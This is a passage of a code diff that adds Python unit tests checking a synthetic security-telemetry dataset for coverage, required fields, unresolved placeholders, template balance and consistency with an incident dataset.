+ missing = sorted(all_ids - with_telemetry)
+ self.assertEqual(
+ missing,
+ [],
+ f"{len(missing)} incidents have no backing telemetry (sample: {missing[:5]}).",
+ )
+
+ def test_source_matrix_covers_promised_connectors(self) -> None:
+ """The source set must cover every connector advertised in docs."""
+ seen = {event["source"] for event in TELEMETRY}
+ missing = sorted(EXPECTED_SOURCES - seen)
+ self.assertEqual(
+ missing,
+ [],
+ "synthetic_telemetry.jsonl is missing events for the following "
+ f"advertised sources: {missing}",
+ )
+
+ def test_per_source_required_fields(self) -> None:
+ """Each event must carry the fields a real connector pivots on."""
+ bad: list[tuple[str, str, set[str]]] = [] # (source, incident_id, missing)
+ for event in TELEMETRY:
+ source = event["source"]
+ required = REQUIRED_FIELDS_BY_SOURCE.get(source)
+ if required is None:
+ # Unknown source; surface it explicitly so we don't silently drop coverage.
+ bad.append((source, event.get("incident_id", "?"), {"<unknown source>"}))
+ continue
+ missing = required - event.keys()
+ if missing:
+ bad.append((source, event.get("incident_id", "?"), missing))
+ self.assertEqual(
+ bad,
+ [],
+ f"{len(bad)} events missing per-source required fields "
+ f"(sample: {bad[:3]}). See REQUIRED_FIELDS_BY_SOURCE.",
+ )
+
+ def test_no_unresolved_placeholders(self) -> None:
+ """The recursive resolver must have substituted all `{user}/{host}/{ip}/{campaign}`."""
+ bad: list[tuple[str, int, str]] = []
+ for event in TELEMETRY:
+ for s in _walk_strings(event):
+ m = _PLACEHOLDER_RE.search(s)
+ if m:
+ bad.append((event["incident_id"], event["event_index"], s))
+ break
+ self.assertEqual(
+ bad,
+ [],
+ f"{len(bad)} events still contain unresolved placeholders "
+ f"(sample: {bad[:3]}).",
+ )
+
+ def test_template_telemetry_is_not_concentrated(self) -> None:
+ """No single template should monopolize the corpus.
+
+ With ~55 templates each cycled ~3-4×, the most-frequent template
+ should account for ≤ 5% of events. Anything higher means the
+ dataset has skewed and per-template metrics are misleading.
+ """
+ counts = Counter(event["template_id"] for event in TELEMETRY)
+ total = sum(counts.values())
+ top_template, top_count = counts.most_common(1)[0]
+ share = top_count / total if total else 0.0
+ self.assertLessEqual(
+ share,
+ 0.05,
+ f"Template '{top_template}' accounts for {share:.1%} of telemetry — "
+ "dataset has skewed; rebalance the templates.",
+ )
+
+ def test_telemetry_template_ids_match_incident_template_ids(self) -> None:
+ """Every (incident_id, template_id) pair must agree with synthetic_incidents.json."""
+ incident_template_by_id = {inc["id"]: inc.get("template_id") for inc in INCIDENTS}
+ bad: list[tuple[str, str, str]] = []
+ for event in TELEMETRY:
+ inc_id = event["incident_id"]
+ expected = incident_template_by_id.get(inc_id)
+ actual = event["template_id"]
+ if expected is None:
+ bad.append((inc_id, "<missing-incident>", actual))
+ elif expected != actual:
+ bad.append((inc_id, expected, actual))
+ self.assertEqual(
+ bad,
+ [],
+ f"{len(bad)} events disagree with the incident dataset on template_id "
+ f"(sample: {bad[:3]}).",
+ )
+
+
+if __name__ == "__main__":
+ counts = Counter(event["source"] for event in TELEMETRY)
+ template_counts = Counter(event["template_id"] for event in TELEMETRY)
+ print(
+ json.dumps(
+ {
+ "events": len(TELEMETRY),
+ "incidents_with_telemetry": len({e["incident_id"] for e in TELEMETRY}),
+ "source_counts": dict(counts.most_common()),
+ "template_count": len(template_counts),
+ "top_templates": template_counts.most_common(5),
+ },
+ indent=2,
+ )
+ )